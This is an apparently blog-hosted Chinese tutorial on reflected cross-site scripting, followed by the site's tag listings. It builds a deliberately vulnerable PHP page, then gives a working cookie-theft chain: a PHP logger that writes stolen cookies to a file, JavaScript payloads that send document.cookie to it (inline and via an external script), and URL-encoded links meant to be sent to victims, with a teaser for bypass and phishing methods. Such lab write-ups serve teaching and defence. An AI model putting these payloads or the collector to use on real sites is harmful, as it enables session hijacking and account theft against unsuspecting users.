跨站脚本攻击 XSS

本贴最后更新于 2007 天前,其中的信息可能已经物是人非

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。比如获取用户 Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 XSS 的原理

XSS 的原理其实也就是上面所说,恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意攻击用户的特殊目的。

HTML 的 script 元素标记中间包含 JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成 HTML 或者 XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码是否有害。

0x02 XSS 的危害

XSS 在 OWASP 中一直占据着前十的地位,虽然表面上 XSS 不像 sql 注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为 xss 漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。

它的常见危害有:

  • (1)网络钓鱼,盗取各类用户的账号
  • (2)窃取用户 Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • (4)强制弹出广告页面,刷流量等
  • (5)传播木马

0x03 漏洞复现

首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的 LAMP 环境,也可以搭建一个 wamp 环境,这里为了方便,我就在 windows 下搭建环境测试了,首先我们在 wamp 的 www/xss 文件夹下新建 test.php,然后输入如下内容(前后要有 html 标签):

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
	<title>XSS test</title>
</head>
<body>
	<form action="" method="get">
	<input type="text" name="xss_input">
	<input type="submit">
	</form>
	<hr>
	<?php
	setcookie('cookie','test');
	$xss = $_GET['xss_input'];
	echo 'your input is:<br>'.$xss;
	?>
</body>

然后保存并打开 wamp 服务

通过浏览器访问 127.0.0.1/xss/test.php 来访问刚才创建的页面,

我们在输入框输入,点击提交,发现出现有如下图的 xss 的弹窗,此时环境搭建完成。

0x04 漏洞利用

如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用 xss 漏洞,看看能做到什么程度。

XSS 最经常使用的就是获取 Cookie 了,攻击者通常利用网站的 xss 漏洞向页面写入窃取 Cookie 信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的 Cookie 信息。此时攻击者可以将 Cookie 信息向服务器提交,然后以受害者的身份登陆网站。

我们尝试一个最简单的反射型 xss 获取用户 cookie。

我们先在自己的远程服务器上写一个 php 页面和一个 js 脚本来接收 Cookie 并保存:

hk.php:
cookie = _GET["q"];

  $log = fopen("cookie.txt", "a");

  fwrite($log, $cookie . "\n");

  fclose($log);

  ?>

这段代码的作用是读取 q 的值,然后以增加的方式打开 cookie.txt,然后将读取到的值写入 cookie.txt。

然后我们在漏洞页面构造如下(要加上 script 标签)xss:
var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后我们发现,cookie.txt 中,已经有我们刚才页面的 cookie 了

并且查看源代码,发现源代码中有这样一句 javascript

这个时候,如果把下面链接发送给别人,别人点到就可以获取它的 cookie 了
http://127.0.0.1/xss/test.php?
xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http
%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到 url 中了,很少会有人上当,而且 url 长度太长,遇到某些不能输入这么长 js 脚本的输入框怎么办?

所以就有了一个更好的解决办法,那就是将 js 脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。

我们在自己服务器中和刚才的 hk.php 同路径创建一个 hk.js

hk.js:
var x=new Image();

  x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;

然后在漏洞界面写入如下 xss:
《script src = http://127.0.0.1/xss/hk/hk.js><‘/’script>
发现结果 cookie.txt 多了一行

并且源码中的 javascript 如下

然后我们构造一个链接来欺骗用户
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E
只要用户点击此链接,cookie 就会被记录到我们服务器上的 cookie.txt 里面。

以上就是一次反射性 xss 最简单的利用方式。

0x05 总结

xss 漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和 sql 注入一样十分丰富,在有些时候可以达到意想不到的效果。

这次暂时就写到这里,下一篇关于 xss 的博客会详细的介绍 xss 的一些绕过检测和限制的方式,还有利用 xss 进行网络钓鱼以及网页挂马的方法。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...

推荐标签 标签

  • Sphinx

    Sphinx 是一个基于 SQL 的全文检索引擎,可以结合 MySQL、PostgreSQL 做全文搜索,它可以提供比数据库本身更专业的搜索功能,使得应用程序更容易实现专业化的全文检索。

    1 引用 • 171 关注
  • webpack

    webpack 是一个用于前端开发的模块加载器和打包工具,它能把各种资源,例如 JS、CSS(less/sass)、图片等都作为模块来使用和处理。

    41 引用 • 130 回帖 • 293 关注
  • 服务

    提供一个服务绝不仅仅是简单的把硬件和软件累加在一起,它包括了服务的可靠性、服务的标准化、以及对服务的监控、维护、技术支持等。

    41 引用 • 24 回帖
  • SVN

    SVN 是 Subversion 的简称,是一个开放源代码的版本控制系统,相较于 RCS、CVS,它采用了分支管理系统,它的设计目标就是取代 CVS。

    29 引用 • 98 回帖 • 688 关注
  • Gitea

    Gitea 是一个开源社区驱动的轻量级代码托管解决方案,后端采用 Go 编写,采用 MIT 许可证。

    4 引用 • 16 回帖 • 7 关注
  • Ngui

    Ngui 是一个 GUI 的排版显示引擎和跨平台的 GUI 应用程序开发框架,基于
    Node.js / OpenGL。目标是在此基础上开发 GUI 应用程序可拥有开发 WEB 应用般简单与速度同时兼顾 Native 应用程序的性能与体验。

    7 引用 • 9 回帖 • 339 关注
  • 小说

    小说是以刻画人物形象为中心,通过完整的故事情节和环境描写来反映社会生活的文学体裁。

    28 引用 • 108 回帖 • 1 关注
  • 分享

    有什么新发现就分享给大家吧!

    240 引用 • 1729 回帖
  • HTML

    HTML5 是 HTML 下一个的主要修订版本,现在仍处于发展阶段。广义论及 HTML5 时,实际指的是包括 HTML、CSS 和 JavaScript 在内的一套技术组合。

    103 引用 • 294 回帖
  • Bootstrap

    Bootstrap 是 Twitter 推出的一个用于前端开发的开源工具包。它由 Twitter 的设计师 Mark Otto 和 Jacob Thornton 合作开发,是一个 CSS / HTML 框架。

    18 引用 • 33 回帖 • 683 关注
  • Gzip

    gzip (GNU zip)是 GNU 自由软件的文件压缩程序。我们在 Linux 中经常会用到后缀为 .gz 的文件,它们就是 Gzip 格式的。现今已经成为互联网上使用非常普遍的一种数据压缩格式,或者说一种文件格式。

    9 引用 • 12 回帖 • 106 关注
  • Bug

    Bug 本意是指臭虫、缺陷、损坏、犯贫、窃听器、小虫等。现在人们把在程序中一些缺陷或问题统称为 bug(漏洞)。

    76 引用 • 1738 回帖 • 3 关注
  • 微信

    腾讯公司 2011 年 1 月 21 日推出的一款手机通讯软件。用户可以通过摇一摇、搜索号码、扫描二维码等添加好友和关注公众平台,同时可以将自己看到的精彩内容分享到微信朋友圈。

    129 引用 • 791 回帖 • 1 关注
  • CodeMirror
    1 引用 • 2 回帖 • 108 关注
  • ReactiveX

    ReactiveX 是一个专注于异步编程与控制可观察数据(或者事件)流的 API。它组合了观察者模式,迭代器模式和函数式编程的优秀思想。

    1 引用 • 2 回帖 • 125 关注
  • frp

    frp 是一个可用于内网穿透的高性能的反向代理应用,支持 TCP、UDP、 HTTP 和 HTTPS 协议。

    15 引用 • 7 回帖
  • PHP

    PHP(Hypertext Preprocessor)是一种开源脚本语言。语法吸收了 C 语言、 Java 和 Perl 的特点,主要适用于 Web 开发领域,据说是世界上最好的编程语言。

    164 引用 • 406 回帖 • 524 关注
  • 单点登录

    单点登录(Single Sign On)是目前比较流行的企业业务整合的解决方案之一。SSO 的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。

    9 引用 • 25 回帖 • 9 关注
  • wolai

    我来 wolai:不仅仅是未来的云端笔记!

    1 引用 • 11 回帖 • 1 关注
  • BND

    BND(Baidu Netdisk Downloader)是一款图形界面的百度网盘不限速下载器,支持 Windows、Linux 和 Mac,详细介绍请看这里

    107 引用 • 1281 回帖 • 22 关注
  • JVM

    JVM(Java Virtual Machine)Java 虚拟机是一个微型操作系统,有自己的硬件构架体系,还有相应的指令系统。能够识别 Java 独特的 .class 文件(字节码),能够将这些文件中的信息读取出来,使得 Java 程序只需要生成 Java 虚拟机上的字节码后就能在不同操作系统平台上进行运行。

    180 引用 • 120 回帖 • 3 关注
  • Lute

    Lute 是一款结构化的 Markdown 引擎,支持 Go 和 JavaScript。

    25 引用 • 191 回帖 • 16 关注
  • Android

    Android 是一种以 Linux 为基础的开放源码操作系统,主要使用于便携设备。2005 年由 Google 收购注资,并拉拢多家制造商组成开放手机联盟开发改良,逐渐扩展到到平板电脑及其他领域上。

    331 引用 • 315 回帖 • 83 关注
  • OAuth

    OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 oAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 oAuth 是安全的。oAuth 是 Open Authorization 的简写。

    36 引用 • 103 回帖 • 6 关注
  • Ant-Design

    Ant Design 是服务于企业级产品的设计体系,基于确定和自然的设计价值观上的模块化解决方案,让设计者和开发者专注于更好的用户体验。

    17 引用 • 23 回帖
  • 微服务

    微服务架构是一种架构模式,它提倡将单一应用划分成一组小的服务。服务之间互相协调,互相配合,为用户提供最终价值。每个服务运行在独立的进程中。服务于服务之间才用轻量级的通信机制互相沟通。每个服务都围绕着具体业务构建,能够被独立的部署。

    96 引用 • 155 回帖
  • iOS

    iOS 是由苹果公司开发的移动操作系统,最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统,最初是设计给 iPhone 使用的,后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样,属于类 Unix 的商业操作系统。

    84 引用 • 139 回帖